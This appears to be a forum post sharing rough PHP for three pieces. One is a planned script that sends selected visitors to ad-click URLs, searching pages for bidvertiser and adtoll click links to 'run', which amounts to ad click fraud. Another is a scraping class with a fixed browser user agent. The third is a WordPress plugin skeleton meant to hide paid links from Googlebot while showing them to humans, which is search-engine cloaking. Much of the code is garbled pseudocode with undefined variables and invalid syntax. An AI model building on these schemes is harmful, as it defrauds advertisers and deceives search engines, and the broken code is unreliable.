I have a random idea

<?
//Game plan
//Step One - Check Reffer if from social media / google run script, if none  = 404 [if reffere SU change chance at prelim to 1/100]
//Step Two -  Roll Random Number 1-20               (5%)                  [1-100 if stumbleupon]                ( 1%)
// Step Three - If roll = 1 Roll for Add Type
// Step Four - If '1' run 'add1' variable
//		-  If '2' Search page for url begining with http...secure.bidvertiser.com and run
//		- If  '3' Search Page for url begining with http:addclick.adtoll.com and run
//
//  ---adtional ideas, after each 'click' counter =+1 once counter  =10 change random to 1-200 at 20 = 1-300 etc etc counter resets daily.
//set var
var doit; // does the whole script
var randomtar //rolls random number 1-10 for each visitor
var randomadd //rolls random number to select which add to click
var add1; //defines add location 1
var add2; //defines add location 2 
var add3; //defines add location 3
var adselec //if traget is selected roll which add to run,
 
//define var
 
randomtar = rand(1,10); //rolls 1-10
randomadd = rand(1,3); //rolls 1-3
add1 = header("Location: http://sitehoppin.com/Special:Random?userid=1135"); //add location 1
add2 = header("Location: "); // add location 2
add3 = header ("Location: http://"); //add location 3
adselec = if($random_number == 1)(randomadd);  // if traget selected run random to find out which add to run   
doit = if randomtar == 1 and randomadd == 1 (add1) //if target aquired and add acquired run add url 1
if randomtar == 1 and randomadd == 2 (add2); // if target aquired and add acquired run add url 2
if randomtar == 1 and randomadd == 3 (add3); // if target aquired and add acquired run add url 3
}
// activation
if(!$_SERVER[‘HTTP_REFERER’]){
header("HTTP/1.0 404 Not Found");
} else { "doit"
}
?>
 
HOWTOFINDURLS ON A PAGE SCRIPT
 
<?php
/*******************************************************************************
*                                  grabber.php
*                              by voyager, 2003
*
* A class which is usefull for grabbing any information of any site over the net.
* It can retusrn a single value (text) or an array (texts) with given 'markup' 
* strings. The class uses PHP CURL functions so you need CULR installed on your
* server
********************************************************************************/
 
class Grabber
{
   var $content;
   var $content_array;
   var $noURL; //this is the boolean which will mark if to open the URL or not
   var $text; //the text without starting and ending unneeded parts
   var $searchar; // the searched array
   var $searchtxt; //the searched text
 
   // The constructor opens an URL and writes it in give file and dir
   // if 4th argument is given it check if this file exists already 
   // when is the last modification and if it is older, opens the URL,
   // else opens the file. If $ifmod=0 it always opens the URL
   //it defaults to 24 hours
   function Grabber($url,$tmpdir='tmp/',$tmpfile='tmp.txt',$ifmod=86400)
   {
         $this->content="";      	     	     	     
         $ch = curl_init ();                   
         curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
	     curl_setopt ($ch, CURLOPT_URL, $url);		    
	     curl_setopt ($ch, CURLOPT_TIMEOUT, 60);	
	     $useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8";	    	     
	     curl_setopt($ch,CURLOPT_USERAGENT,$useragent);
	     $this->content = curl_exec ($ch);     
	     curl_close ($ch);         
   }   
 
   //this grabs only a piece of text
   function grab_unit($start,$end)
   {
       //cut from start to end
      $this->text=substr($this->content,strpos($this->content,$start)+strlen($start)+1);
      $this->text=substr($this->text,0,strpos($this->text,$end));
      $this->searchtxt=$this->text;
   }
 
 
   //it gets start delimeter, end delimeter and an array of pieces to
   //put out. Returns the array of needed infomation
   //delimstart and delimend are arround the pieces of searched data
   function grab_array($start,$delimstart,$delimend,$end)
   {
      //cut from start to end
      $this->text=substr($this->content,strpos($this->content,$start)+strlen($start)+1);
      $this->text=substr($this->text,0,strpos($this->text,$end));
 
      //getting out the unndeeded and pushing into the array
      $this->searchar=preg_split("@$delimstart|$delimend@",$this->text);
   }
 
   //the elemnts of the array arent still what we need?
   function refine_array($start,$end,$clear_html=0)
   {
      for($i=0;$i<sizeof($this->searchar);$i++)
      {
         $this->searchar[$i]=substr($this->searchar[$i],
	     strpos($this->searchar[$i],$start)+strlen($start));
 
	 if(!empty($end))
	 {
	    $this->searchar[$i]=substr($this->searchar[$i],
	       0,strpos($this->searchar[$i],$end));    
	 }
 
         if($clear_html)
	 {
	    $this->searchar[$i]=strip_tags($this->searchar[$i]);
	 }
      }
   }
 
   //You still have some unregular data which makes everything bad?
   // REmove the trash, giving an array of it
   function remove_trash($trash)
   {
      for($i=0;$i<sizeof($trash);$i++)
      {
         for($j=0;$j<sizeof($this->searchar);$j++)
	 {
	    $this->searchar[$j]=str_replace($trash[$i],"",$this->searchar[$j]);
	 }
 
	 $this->searchtxt=str_replace($trash[$i],"",$this->searchtxt);
      }
   }
 
      //this function does not work with the members of the grabber.
   //it just takes start and end limits and the content - $word
   // to return whats inside. You can easy debug it with giving 1 to testvar
   function cut($start,$end,$word,$testvar=0)
   {
		$word=substr($word,strpos($word,$start)+strlen($start));
		if($testvar) die($word);
		$word=substr($word,0,strpos($word,$end));
 
		return $word;
   }
 
 
   function send_post($vars, $url)
	{
		$strRequestBody = ""; 
		while (list($key, $val) = each($ascVarStream)) 
		{ 
			if($strRequestBody != "") 
				$strRequestBody.= "&"; 
			$strRequestBody.= $key."=".$val; 
		} 
 
		$ch = curl_init();
	    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt ($ch, CURLOPT_URL, $strURL);
	    curl_setopt ($ch, CURLOPT_POST, $strRequestBody);
	    curl_setopt ($ch, CURLOPT_POSTFIELDS, $strRequestBody);
		$return_string = curl_exec ($ch);
	    curl_close ($ch);
 
		if ($return_string=="") {
			$message="Error: Could not post to remote system.";
			return $message;
		}
		return $return_string;			
 
	} // End function
}
?>

<?php
/*
Plugin Name: LinkHider
Plugin URI: http://www.thenexus.tk/linkhider
Description: The main aim of this plugin is to hide paid links from googlebot yet not add the 'no-follow' tag. 
Version: 1.0.0
Author: Donace
Author URI: http://www.thenexus.tk
*/
//nb cloaking option? no index option? nofollow option.....make google see noindex / no follow while normal = follow  
//creates the classes
if (!class_exists("linkhider")) {
class linkhider {
function linkhider() { //constructor
}
}
} //End Class Creation
 
//calls the classes
if (class_exists("linkhider")) {
 $pl_lh = new linkhider();
 }
 
//Actions and Filters
if (isset($pl_lh)) {
//Actions
//Filters
}
?>
<?php 
//adds admin panel
class linkhider {
	var $adminOptionsName = "LinkHider";
	function linkhider() {//contructor
 
	}
//initializes it
function init() {
	$this->getAdminOptions();
	}
//calls these on first activation
add_action('activate_linkhider.php',
array(&$pl_lh,'init'));
?>
 
<?php
//creates the widget
function wp_link_hider($args) {
	extract($args);
	$options = get_option('widget_link_hider');
	$title = $options['title'];
	if ( empty($title) )
		$title = 'Link Hider';
 
 
       ?>
		<?php echo $before_widget; ?>
			<?php $title ? print($before_title . $title . $after_title) : null; ?>
<?php
			//hides it from google
if(condition) { $userAgent = $_SERVER['HTTP_USER_AGENT'];
if(stristr(strtolower($userAgent), 'googlebot') === FALSE) {
do 
} elseif(condition) { ( ! preg_match(”/google/i”, $_SERVER['HTTP_USER_AGENT'] ){
do  
//NORMAL USER BROWSING SHOW THE ADS
 
}    //<!–  Your PAID Ads Code –>
} 
else {
 
    //links with no follow no index
 
}
?>
 
 
 
 
 
		<?php echo $after_widget; ?>
 
<?php		
}		//allows to change title
function wp_widget_link_hider_control() {
	$options = $newoptions = get_option('widget_link_hider');
	if ( $_POST["title-submit"] ) {
		$newoptions['title'] = strip_tags(stripslashes($_POST["line-title"]));
	}
	if ( $options != $newoptions ) {
		$options = $newoptions;
		update_option('widget_link_hider', $options);
	}
	$title = attribute_escape($options['title']);
?>
			<p><label for="link-title"><?php _e('Title:'); ?> <input style="width: 200px;" id="link-title" name="link-title" type="text" value="<?php echo $title; ?>" /></label></p>
			<input type="hidden" id="link-submit" name="link-submit" value="1" />
<?php
}
 
function wp_widget_link_hider_register() {
	$dimension = array('height' => 100, 'width' => 300);
	$class = array('classname' => 'widget_link_hider');
	wp_register_sidebar_widget('link', __('Link Hider'), 'wp_widget_link_hider', $class);
	wp_register_widget_control('link', __('Link Hider'), 'wp_widget_link_hider_control', $dimension);
}
 
add_action('plugins_loaded','wp_widget_link_hider_register');
?>

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